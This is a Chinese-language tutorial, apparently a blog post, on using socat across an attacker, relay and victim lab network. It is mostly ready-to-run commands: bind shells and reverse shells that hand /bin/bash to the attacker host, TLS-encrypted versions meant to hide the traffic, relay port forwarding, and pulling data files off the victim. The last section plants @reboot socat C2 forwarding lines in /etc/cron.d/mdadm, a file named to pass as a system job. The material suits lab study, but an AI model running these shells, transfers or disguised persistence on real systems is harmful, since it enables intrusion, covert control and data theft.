socat工具使用
什么是 socat?
socat 是一种 Relay (中继)工具,可以独立用于两个数据通道之间的双向数据传输,多用于流量转发。
网络拓扑
| Role | ip |
|---|---|
| attack | 192.168.174.128 |
| relay server | 192.168.174.129 |
| victim | 192.168.174.141 |
功能
Bind shell
-
victim 监听 6666 端口,等待传入的连接,一旦连接成功就反弹 bash shell
1
socat -d -d TCP4-LISTEN:6666 exec:/bin/bash
-
attack 发起连接,成功连接就可拿到目标的shell
1
socat - TCP4:192.168.174.141:6666
抓包分析
可以看到 socat 之间通过 TCP 连接,并且是明文传输数据,不安全。
加密 Bind shell
-
victim 上创建加密使用的密钥(bind_shell.key)和证书(bind_shell.crt)
1
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
-
victim 上使用密钥和证书创建 .pem 文件用于加密流量
1
cat bind_shell.key bind_shell.crt > bind_shell.pem
-
victim 监听 7777 端口,等待传入的连接,一旦连接成功就反弹 bash shell
1
socat OPENSSL-LISTEN:7777,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
-
attack 发起连接,成功连接就可拿到目标的shell
1
socat - OPENSSL:192.168.174.141:7777,verify=0
抓包分析
可以看到 socat 之间的传输经过加密,并且走的是 TLSv1.3 协议。
反向shell
-
attack 创建反向shell的监听器
1
socat -d -d TCP4-LISTEN:8888 STDOUT
-
victim 反向连接 attack
1
socat TCP4:192.168.174.128:8888 exec:/bin/bash
加密反向shell
-
attack 上创建一个密钥(ignite.key)和与之关联的证书(ignite.crt)
1
openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt
-
attack 上使用密钥和证书转换为 .pem 文件用于通信加密
1
cat ignite.key ignite.crt > ignite.pem
-
attack 监听 9999 端口,等待传入的连接,一旦连接成功就可获得victim 反弹过来的 bash shell
1
socat -d -d OPENSSL-LISTEN:9999,cert=ignite.pem,verify=0,fork STDOUT
-
victim 发起连接
1
socat OPENSSL:192.168.174.128:9999,verify=0 exec:/bin/bash
端口转发
-
relay server 上监听 9988 端口,并将请求转发至 victim的 7766 端口
1
socat -d -d -lf /var/log/socat.log TCP4-LISTEN:9988,bind=192.168.174.129,reuseaddr,fork TCP4:192.168.174.141:7766
-
attack 发起连接
1
socat TCP4:192.168.174.129:9988
文件传输
-
victim 开启 443 端口,等待传入的连接,一旦连接成功就发送文件
1
socat -d -d TCP4-LISTEN:443,fork file:data.txt
-
attack 发起连接,并保存文件
socat TCP4:192.168.174.141:443 file:data.txt, create
抓包分析
可以看到 socat 之间文件传输通过 TCP 连接,并且是明文传输数据,不安全。
加密文件传输
根据之前的写法就可以进行加密文件传输
-
victim 监听 443 端口,等待传入的连接,一旦连接成功就发送文件
1
socat -d -d OPENSSL-LISTEN:443,cert=transfer_file.pem,verify=0,fork file:data.txt
-
attack 发起连接,并保存文件
1
socat OPENSSL:192.168.174.141:443,verify=0 file:data.txt, create
C2上设置 socat
C2流量转发服务器一般是将端口转发命令添加到计划任务里,例如脚本:
1
2
3
echo "@reboot root socat TCP4-LISTEN:80,fork TCP4:<c2-http-ipv4_address>:80" >> /etc/cron.d/mdadm
echo "@reboot root socat TCP4-LISTEN:443,fork TCP4:<c2-http-ipv4_address>:443" >> /etc/cron.d/mdadm
shutdown -r


